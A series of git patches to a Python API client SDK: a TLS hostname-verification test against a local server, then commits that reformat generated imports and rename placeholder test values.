+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+
+ @override
+ def log_message(self, *_args: object, **_kwargs: object) -> None:
+ pass
+
+ server = ThreadingHTTPServer(("127.0.0.1", 0), Handler)
+ server.socket = server_context.wrap_socket(server.socket, server_side=True)
+ original_getaddrinfo = socket.getaddrinfo
+
+ def getaddrinfo(host: Any, port: Any, *args: Any, **kwargs: Any) -> Any:
+ # Never resolve or connect to an external endpoint, even if the client regresses.
+ assert host in (HOSTS[0], HOSTS[1], HOSTS[0].encode(), HOSTS[1].encode(), "127.0.0.1", b"127.0.0.1")
+ assert int(port) == server.server_port
+ return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
+
+ monkeypatch.setattr(socket, "getaddrinfo", getaddrinfo)
+ thread = threading.Thread(target=server.serve_forever, daemon=True)
+ thread.start()
+ try:
+ yield server.server_port, client_context, requests
+ finally:
+ server.shutdown()
+ server.server_close()
+ thread.join()
+
+
+def assert_certificate_error(error: BaseException) -> None:
+ cause: BaseException | None = error
+ while cause is not None:
+ if isinstance(cause, ssl.SSLCertVerificationError):
+ return
+ cause = cause.__cause__ or cause.__context__
+ pytest.fail("Expected certificate hostname verification to fail")
+
+
+@pytest.mark.parametrize("explicit_sni", [False, True])
+@pytest.mark.parametrize("library", HTTP_LIBRARIES)
+def test_sync_tls_verifies_configured_hostname(
+ library: str, explicit_sni: bool, tls_server: tuple[int, ssl.SSLContext, list[str]]
+) -> None:
+ http = http_library(library)
+ port, context, requests = tls_server
+
+ def hook(request: Any) -> None:
+ if explicit_sni:
+ request.extensions["sni_hostname"] = HOSTS[0]
+
+ for host in HOSTS[:2]:
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=f"https://{host}:{port}/v1",
+ http_client=http.Client(verify=context, trust_env=False, event_hooks={"request": [hook]}),
+ max_retries=0,
+ ) as client:
+ if host == HOSTS[0] or explicit_sni:
+ assert client.models.list().object == "list"
+ else:
+ with pytest.raises(APIConnectionError) as exc:
+ client.models.list()
+ assert_certificate_error(exc.value)
+ assert requests == [f"{host}:{port}" for host in HOSTS[: 2 if explicit_sni else 1]]
+
+
+@pytest.mark.parametrize("explicit_sni", [False, True])
+@pytest.mark.parametrize("library", [*HTTP_LIBRARIES, "aiohttp", "httpx_aiohttp"])
+async def test_async_tls_verifies_configured_hostname(
+ library: str, explicit_sni: bool, tls_server: tuple[int, ssl.SSLContext, list[str]]
+) -> None:
+ port, context, requests = tls_server
+
+ async def hook(request: Any) -> None:
+ if explicit_sni:
+ request.extensions["sni_hostname"] = HOSTS[0]
+
+ for host in HOSTS[:2]:
+ if library == "aiohttp":
+ pytest.importorskip("aiohttp")
+ http_client = DefaultAioHttpClient(verify=context, trust_env=False, event_hooks={"request": [hook]})
+ elif library == "httpx_aiohttp":
+ http_client = http_library(library).HttpxAiohttpClient(
+ verify=context, trust_env=False, event_hooks={"request": [hook]}
+ )
+ else:
+ http_client = http_library(library).AsyncClient(
+ verify=context, trust_env=False, event_hooks={"request": [hook]}
+ )
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=f"https://{host}:{port}/v1",
+ http_client=http_client,
+ max_retries=0,
+ ) as client:
+ if host == HOSTS[0] or explicit_sni:
+ assert (await client.models.list()).object == "list"
+ else:
+ with pytest.raises(APIConnectionError) as exc:
+ await client.models.list()
+ assert_certificate_error(exc.value)
+ assert requests == [f"{host}:{port}" for host in HOSTS[: 2 if explicit_sni else 1]]
From 5ac1e03e1ae8f08acf6213b3e44772734dbb8e59 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 18:53:32 +0000
Subject: [PATCH 053/341] chore(api): remove redundant generated formatting
(#3696)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Remove redundant import wrapping in five generated resources and one
extra
blank line in `MessageContent`. All six files become byte-identical to
the
verified Castiron output, with unchanged Python ASTs.
The verified local custom-code report drops from 52 to 46 mixed files.
No
runtime behavior, public signatures, imports, exports, dependencies, API
schema, or compiler behavior changes.
## Additional context & links
The cleanup survives a fresh Castiron generation using the existing API
and
configuration inputs. The old and new pure-generated content hashes
match.
No Stainless fixture or generated-file ownership rule changes.
Validation:
- Pinned Ruff formatting and lint checks passed for all six files.
- `./scripts/format` preserved the cleanup; unrelated formatter-only
changes
to the existing report scripts were not included.
- `./scripts/lint` passed, including Pyright, mypy, and import checks.
- The affected Threads Messages, Completions, Fine-tuning
Jobs/Checkpoints,
and Models resource suites passed: 380 tests under Pydantic v2 and 380
under Pydantic v1, using the local mock server.
- The custom-code reporter verified the generated baseline and removed
exactly these six customizations.
No compiler companion is needed. This is a behavior-preserving SDK
cleanup.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 6 +++---
src/openai/resources/beta/threads/messages.py | 5 +----
src/openai/resources/completions.py | 4 +---
src/openai/resources/fine_tuning/jobs/checkpoints.py | 5 +----
src/openai/resources/fine_tuning/jobs/jobs.py | 5 +----
src/openai/resources/models.py | 5 +----
src/openai/types/beta/threads/message_content.py | 1 -
7 files changed, 8 insertions(+), 23 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 90c75d40bf..a1ed804907 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 14743cd4-a53e-4fed-ba72-d5e23592153e
+generation_id: 260c1f53-e64c-4d91-86a5-b85a85b57da0
openapi_spec_hash: a99ded1ea34cf528a9cd5f064167f26a
openapi_transformed_spec_hash: e24c9d9339620c3cce8bbdd80e9ef8ed
config_hash: 85382dd94c503b5d225adc7636a77c9f
-codegen_sha: 66cd6dedd5d1b60732d891f911deb07347a8f068
+codegen_sha: 1a5da8d7cca1526c2c1fedc340b19b76dc234ab2
codegen_hash: 0e1cb892e3631438e55b55edd14899551f458be8d073e13d2c191730297562d6
-public_codegen_sha: 6356986f823c01fd602da9f64ef414c01db4619c
+public_codegen_sha: 2bc1edac041ed7a11d9affc837ad05dd26eeb29d
diff --git a/src/openai/resources/beta/threads/messages.py b/src/openai/resources/beta/threads/messages.py
index 66f57f9488..28cd019753 100644
--- a/src/openai/resources/beta/threads/messages.py
+++ b/src/openai/resources/beta/threads/messages.py
@@ -15,10 +15,7 @@
from ...._resource import SyncAPIResource, AsyncAPIResource
from ...._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ....pagination import SyncCursorPage, AsyncCursorPage
-from ...._base_client import (
- AsyncPaginator,
- make_request_options,
-)
+from ...._base_client import AsyncPaginator, make_request_options
from ....types.beta.threads import message_list_params, message_create_params, message_update_params
from ....types.beta.threads.message import Message
from ....types.shared_params.metadata import Metadata
diff --git a/src/openai/resources/completions.py b/src/openai/resources/completions.py
index 160732d9a0..d43c3854b2 100644
--- a/src/openai/resources/completions.py
+++ b/src/openai/resources/completions.py
@@ -15,9 +15,7 @@
from .._resource import SyncAPIResource, AsyncAPIResource
from .._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from .._streaming import Stream, AsyncStream
-from .._base_client import (
- make_request_options,
-)
+from .._base_client import make_request_options
from ..types.completion import Completion
from ..types.chat.chat_completion_stream_options_param import ChatCompletionStreamOptionsParam
diff --git a/src/openai/resources/fine_tuning/jobs/checkpoints.py b/src/openai/resources/fine_tuning/jobs/checkpoints.py
index 2476b66014..1768305baf 100644
--- a/src/openai/resources/fine_tuning/jobs/checkpoints.py
+++ b/src/openai/resources/fine_tuning/jobs/checkpoints.py
@@ -11,10 +11,7 @@
from ...._resource import SyncAPIResource, AsyncAPIResource
from ...._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ....pagination import SyncCursorPage, AsyncCursorPage
-from ...._base_client import (
- AsyncPaginator,
- make_request_options,
-)
+from ...._base_client import AsyncPaginator, make_request_options
from ....types.fine_tuning.jobs import checkpoint_list_params
from ....types.fine_tuning.jobs.fine_tuning_job_checkpoint import FineTuningJobCheckpoint
diff --git a/src/openai/resources/fine_tuning/jobs/jobs.py b/src/openai/resources/fine_tuning/jobs/jobs.py
index a6046cdd0f..b5fdd0b0de 100644
--- a/src/openai/resources/fine_tuning/jobs/jobs.py
+++ b/src/openai/resources/fine_tuning/jobs/jobs.py
@@ -22,10 +22,7 @@
from ...._resource import SyncAPIResource, AsyncAPIResource
from ...._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ....pagination import SyncCursorPage, AsyncCursorPage
-from ...._base_client import (
- AsyncPaginator,
- make_request_options,
-)
+from ...._base_client import AsyncPaginator, make_request_options
from ....types.fine_tuning import job_list_params, job_create_params, job_list_events_params
from ....types.shared_params.metadata import Metadata
from ....types.fine_tuning.fine_tuning_job import FineTuningJob
diff --git a/src/openai/resources/models.py b/src/openai/resources/models.py
index 41152fb91f..209505f1c7 100644
--- a/src/openai/resources/models.py
+++ b/src/openai/resources/models.py
@@ -12,10 +12,7 @@
from .._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ..pagination import SyncPage, AsyncPage
from ..types.model import Model
-from .._base_client import (
- AsyncPaginator,
- make_request_options,
-)
+from .._base_client import AsyncPaginator, make_request_options
from ..types.model_deleted import ModelDeleted
__all__ = ["Models", "AsyncModels"]
diff --git a/src/openai/types/beta/threads/message_content.py b/src/openai/types/beta/threads/message_content.py
index df6254ea9f..ad88a99b51 100644
--- a/src/openai/types/beta/threads/message_content.py
+++ b/src/openai/types/beta/threads/message_content.py
@@ -11,7 +11,6 @@
__all__ = ["MessageContent"]
-
MessageContent: TypeAlias = Annotated[
Union[ImageFileContentBlock, ImageURLContentBlock, TextContentBlock, RefusalContentBlock],
PropertyInfo(discriminator="type"),
From 351ef84dc25211ea871f60eb16a469a89d20e133 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 19:35:21 +0000
Subject: [PATCH 054/341] chore(api): remove redundant generated test edits
(#3697)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Restore the generated sample values in the Speech, Batches, and Files
resource
tests, including the matching fake file-content URLs. Move the Responses
`parse` signature check unchanged from the generated test file into the
handwritten Responses tests.
Coverage is preserved in these exact tests:
-
[tests/lib/responses/test_responses.py::test_parse_method_in_sync](https://github.com/openai/openai-python/blob/f1349ad105372d314f7e60ca407210073c1cb73d/tests/lib/responses/test_responses.py#L87)
is the
original test, moved verbatim. It compares `responses.create` with
`responses.parse`, excludes `stream` and `tools`, and runs for both sync
and
async clients.
-
[tests/lib/responses/test_responses.py::test_parse_method_definition_in_sync](https://github.com/openai/openai-python/blob/f1349ad105372d314f7e60ca407210073c1cb73d/tests/lib/responses/test_responses.py#L98)
remains unchanged. It checks the same two methods while excluding only
`tools`, so it also checks the `stream` parameter.
No SDK implementation, public API, or test coverage is removed.
All four generated resource-test files become byte-identical to the
verified
generated output. This continues
[openai-python#3696](https://github.com/openai/openai-python/pull/3696);
no schema, configuration, compiler, dependency, fixture, or
ownership-rule
changes are needed.
## Additional context & links
Validation:
- The custom-code report verifies 46 -> 42 mixed files: four removed
customizations, with no new custom-code files or changes to the others.
- An AST comparison verifies exactly 60 expected fake-value
substitutions,
the verbatim move of the original signature test, and the unchanged
stricter
handwritten test.
- `./scripts/format` and `./scripts/lint` passed, including Ruff,
Pyright, mypy,
and import checks. Unrelated formatter-only changes to the existing
report
scripts are not included.
- The following suites passed under both Pydantic v2 and v1: 367 passed
and
7 skipped in each environment.
```sh
python -m pytest -q \
tests/api_resources/audio/test_speech.py \
tests/api_resources/test_batches.py \
tests/api_resources/test_files.py \
tests/api_resources/test_responses.py \
tests/lib/responses/test_responses.py::test_parse_method_in_sync \
tests/lib/responses/test_responses.py::test_parse_method_definition_in_sync
```
The cleanup survives a fresh Castiron generation using the existing API
and
configuration inputs. The old and new pure-generated content hashes
match.
From a checkout of the public PR, reproduce the report with:
```sh
python3 scripts/castiron/custom_code_report.py report \
--base 5ac1e03e1ae8f08acf6213b3e44772734dbb8e59 \
--head "$(git rev-parse HEAD)" --fetch --require-head-hash --public \
--out /tmp/castiron-generated-test-cleanup
```
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 6 +--
tests/api_resources/audio/test_speech.py | 16 +++----
tests/api_resources/test_batches.py | 44 ++++++++---------
tests/api_resources/test_files.py | 60 ++++++++++++------------
tests/api_resources/test_responses.py | 12 -----
tests/lib/responses/test_responses.py | 11 +++++
6 files changed, 74 insertions(+), 75 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index a1ed804907..1425ad7f87 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 260c1f53-e64c-4d91-86a5-b85a85b57da0
+generation_id: d01088d9-a117-4981-9899-afab176a91ec
openapi_spec_hash: a99ded1ea34cf528a9cd5f064167f26a
openapi_transformed_spec_hash: e24c9d9339620c3cce8bbdd80e9ef8ed
config_hash: 85382dd94c503b5d225adc7636a77c9f
-codegen_sha: 1a5da8d7cca1526c2c1fedc340b19b76dc234ab2
+codegen_sha: 160eee5e853d55c35205907a7b0bdd7151c74cec
codegen_hash: 0e1cb892e3631438e55b55edd14899551f458be8d073e13d2c191730297562d6
-public_codegen_sha: 2bc1edac041ed7a11d9affc837ad05dd26eeb29d
+public_codegen_sha: 53459fc3cbb96f06dc69478d23b9703346a61c64
diff --git a/tests/api_resources/audio/test_speech.py b/tests/api_resources/audio/test_speech.py
index 76257dc4a7..e1c56b39e8 100644
--- a/tests/api_resources/audio/test_speech.py
+++ b/tests/api_resources/audio/test_speech.py
@@ -26,7 +26,7 @@ class TestSpeech:
def test_method_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = client.audio.speech.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
)
@@ -38,7 +38,7 @@ def test_method_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
def test_method_create_with_all_params(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = client.audio.speech.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
instructions="instructions",
@@ -55,7 +55,7 @@ def test_raw_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> N
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.audio.speech.with_raw_response.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
)
@@ -70,7 +70,7 @@ def test_raw_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> N
def test_streaming_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.audio.speech.with_streaming_response.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
) as response:
@@ -93,7 +93,7 @@ class TestAsyncSpeech:
async def test_method_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = await async_client.audio.speech.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
)
@@ -105,7 +105,7 @@ async def test_method_create(self, async_client: AsyncOpenAI, respx2_mock: MockR
async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = await async_client.audio.speech.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
instructions="instructions",
@@ -122,7 +122,7 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx2_mock:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.audio.speech.with_raw_response.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
)
@@ -137,7 +137,7 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx2_mock:
async def test_streaming_response_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.audio.speech.with_streaming_response.create(
- input="string",
+ input="input",
model="tts-1",
voice="alloy",
) as response:
diff --git a/tests/api_resources/test_batches.py b/tests/api_resources/test_batches.py
index 74a2365f20..f34250837c 100644
--- a/tests/api_resources/test_batches.py
+++ b/tests/api_resources/test_batches.py
@@ -23,7 +23,7 @@ def test_method_create(self, client: OpenAI) -> None:
batch = client.batches.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
)
assert_matches_type(Batch, batch, path=["response"])
@@ -32,7 +32,7 @@ def test_method_create_with_all_params(self, client: OpenAI) -> None:
batch = client.batches.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
metadata={"foo": "string"},
output_expires_after={
"anchor": "created_at",
@@ -46,7 +46,7 @@ def test_raw_response_create(self, client: OpenAI) -> None:
response = client.batches.with_raw_response.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
)
assert response.is_closed is True
@@ -59,7 +59,7 @@ def test_streaming_response_create(self, client: OpenAI) -> None:
with client.batches.with_streaming_response.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -72,14 +72,14 @@ def test_streaming_response_create(self, client: OpenAI) -> None:
@parametrize
def test_method_retrieve(self, client: OpenAI) -> None:
batch = client.batches.retrieve(
- "string",
+ "batch_id",
)
assert_matches_type(Batch, batch, path=["response"])
@parametrize
def test_raw_response_retrieve(self, client: OpenAI) -> None:
response = client.batches.with_raw_response.retrieve(
- "string",
+ "batch_id",
)
assert response.is_closed is True
@@ -90,7 +90,7 @@ def test_raw_response_retrieve(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_retrieve(self, client: OpenAI) -> None:
with client.batches.with_streaming_response.retrieve(
- "string",
+ "batch_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -115,7 +115,7 @@ def test_method_list(self, client: OpenAI) -> None:
@parametrize
def test_method_list_with_all_params(self, client: OpenAI) -> None:
batch = client.batches.list(
- after="string",
+ after="after",
limit=0,
)
assert_matches_type(SyncCursorPage[Batch], batch, path=["response"])
@@ -143,14 +143,14 @@ def test_streaming_response_list(self, client: OpenAI) -> None:
@parametrize
def test_method_cancel(self, client: OpenAI) -> None:
batch = client.batches.cancel(
- "string",
+ "batch_id",
)
assert_matches_type(Batch, batch, path=["response"])
@parametrize
def test_raw_response_cancel(self, client: OpenAI) -> None:
response = client.batches.with_raw_response.cancel(
- "string",
+ "batch_id",
)
assert response.is_closed is True
@@ -161,7 +161,7 @@ def test_raw_response_cancel(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_cancel(self, client: OpenAI) -> None:
with client.batches.with_streaming_response.cancel(
- "string",
+ "batch_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -189,7 +189,7 @@ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
batch = await async_client.batches.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
)
assert_matches_type(Batch, batch, path=["response"])
@@ -198,7 +198,7 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) ->
batch = await async_client.batches.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
metadata={"foo": "string"},
output_expires_after={
"anchor": "created_at",
@@ -212,7 +212,7 @@ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
response = await async_client.batches.with_raw_response.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
)
assert response.is_closed is True
@@ -225,7 +225,7 @@ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> Non
async with async_client.batches.with_streaming_response.create(
completion_window="24h",
endpoint="/v1/responses",
- input_file_id="string",
+ input_file_id="input_file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -238,14 +238,14 @@ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> Non
@parametrize
async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
batch = await async_client.batches.retrieve(
- "string",
+ "batch_id",
)
assert_matches_type(Batch, batch, path=["response"])
@parametrize
async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
response = await async_client.batches.with_raw_response.retrieve(
- "string",
+ "batch_id",
)
assert response.is_closed is True
@@ -256,7 +256,7 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
async with async_client.batches.with_streaming_response.retrieve(
- "string",
+ "batch_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -281,7 +281,7 @@ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
batch = await async_client.batches.list(
- after="string",
+ after="after",
limit=0,
)
assert_matches_type(AsyncCursorPage[Batch], batch, path=["response"])
@@ -309,14 +309,14 @@ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_cancel(self, async_client: AsyncOpenAI) -> None:
batch = await async_client.batches.cancel(
- "string",
+ "batch_id",
)
assert_matches_type(Batch, batch, path=["response"])
@parametrize
async def test_raw_response_cancel(self, async_client: AsyncOpenAI) -> None:
response = await async_client.batches.with_raw_response.cancel(
- "string",
+ "batch_id",
)
assert response.is_closed is True
@@ -327,7 +327,7 @@ async def test_raw_response_cancel(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_cancel(self, async_client: AsyncOpenAI) -> None:
async with async_client.batches.with_streaming_response.cancel(
- "string",
+ "batch_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/test_files.py b/tests/api_resources/test_files.py
index 2b820c0265..deb0e3aa61 100644
--- a/tests/api_resources/test_files.py
+++ b/tests/api_resources/test_files.py
@@ -72,14 +72,14 @@ def test_streaming_response_create(self, client: OpenAI) -> None:
@parametrize
def test_method_retrieve(self, client: OpenAI) -> None:
file = client.files.retrieve(
- "string",
+ "file_id",
)
assert_matches_type(FileObject, file, path=["response"])
@parametrize
def test_raw_response_retrieve(self, client: OpenAI) -> None:
response = client.files.with_raw_response.retrieve(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -90,7 +90,7 @@ def test_raw_response_retrieve(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_retrieve(self, client: OpenAI) -> None:
with client.files.with_streaming_response.retrieve(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -145,14 +145,14 @@ def test_streaming_response_list(self, client: OpenAI) -> None:
@parametrize
def test_method_delete(self, client: OpenAI) -> None:
file = client.files.delete(
- "string",
+ "file_id",
)
assert_matches_type(FileDeleted, file, path=["response"])
@parametrize
def test_raw_response_delete(self, client: OpenAI) -> None:
response = client.files.with_raw_response.delete(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -163,7 +163,7 @@ def test_raw_response_delete(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_delete(self, client: OpenAI) -> None:
with client.files.with_streaming_response.delete(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -183,9 +183,9 @@ def test_path_params_delete(self, client: OpenAI) -> None:
@parametrize
@pytest.mark.respx2(base_url=base_url)
def test_method_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
file = client.files.content(
- "string",
+ "file_id",
)
assert isinstance(file, _legacy_response.HttpxBinaryResponseContent)
assert file.json() == {"foo": "bar"}
@@ -193,10 +193,10 @@ def test_method_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
@parametrize
@pytest.mark.respx2(base_url=base_url)
def test_raw_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.files.with_raw_response.content(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -207,9 +207,9 @@ def test_raw_response_content(self, client: OpenAI, respx2_mock: MockRouter) ->
@parametrize
@pytest.mark.respx2(base_url=base_url)
def test_streaming_response_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.files.with_streaming_response.content(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -231,7 +231,7 @@ def test_path_params_content(self, client: OpenAI) -> None:
def test_method_retrieve_content(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
file = client.files.retrieve_content(
- "string",
+ "file_id",
)
assert_matches_type(str, file, path=["response"])
@@ -240,7 +240,7 @@ def test_method_retrieve_content(self, client: OpenAI) -> None:
def test_raw_response_retrieve_content(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
response = client.files.with_raw_response.retrieve_content(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -252,7 +252,7 @@ def test_raw_response_retrieve_content(self, client: OpenAI) -> None:
def test_streaming_response_retrieve_content(self, client: OpenAI) -> None:
with pytest.warns(DeprecationWarning):
with client.files.with_streaming_response.retrieve_content(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -325,14 +325,14 @@ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> Non
@parametrize
async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
file = await async_client.files.retrieve(
- "string",
+ "file_id",
)
assert_matches_type(FileObject, file, path=["response"])
@parametrize
async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
response = await async_client.files.with_raw_response.retrieve(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -343,7 +343,7 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
async with async_client.files.with_streaming_response.retrieve(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -398,14 +398,14 @@ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
file = await async_client.files.delete(
- "string",
+ "file_id",
)
assert_matches_type(FileDeleted, file, path=["response"])
@parametrize
async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
response = await async_client.files.with_raw_response.delete(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -416,7 +416,7 @@ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
async with async_client.files.with_streaming_response.delete(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -436,9 +436,9 @@ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
@parametrize
@pytest.mark.respx2(base_url=base_url)
async def test_method_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
file = await async_client.files.content(
- "string",
+ "file_id",
)
assert isinstance(file, _legacy_response.HttpxBinaryResponseContent)
assert file.json() == {"foo": "bar"}
@@ -446,10 +446,10 @@ async def test_method_content(self, async_client: AsyncOpenAI, respx2_mock: Mock
@parametrize
@pytest.mark.respx2(base_url=base_url)
async def test_raw_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.files.with_raw_response.content(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -460,9 +460,9 @@ async def test_raw_response_content(self, async_client: AsyncOpenAI, respx2_mock
@parametrize
@pytest.mark.respx2(base_url=base_url)
async def test_streaming_response_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
- respx2_mock.get("/files/string/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/files/file_id/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.files.with_streaming_response.content(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
